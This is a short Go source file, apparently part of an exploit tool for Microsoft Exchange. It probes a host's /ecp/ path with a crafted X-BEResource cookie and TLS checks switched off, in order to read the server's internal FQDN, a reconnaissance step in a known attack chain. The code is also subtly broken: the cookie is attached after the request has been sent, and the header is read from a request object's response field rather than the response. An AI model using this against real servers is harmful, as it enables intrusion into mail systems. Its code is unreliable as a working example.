package lib

import (
	"crypto/tls"
	"net/http"
	"time"
)

func GetFQDN(url, randstr string) (fqdn string , b bool) {
	reqURL := `https://`+url+`/ecp/`+randstr+`.js`
	cli := &http.Client{Transport: &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
		Timeout: time.Second * 5}
	get, err := cli.Get(reqURL)
	if err != nil {
		panic(err)
	}
	get.Request.Header.Add("Cookie","X-BEResource=localhost~1942062522")
	defer func() {
		_=get.Body.Close()
	}()
	s := get.Request.Response.Header.Get("X-FEServer")
	if s !=""{
		return s,true
	}else {
		return "",false
	}
}
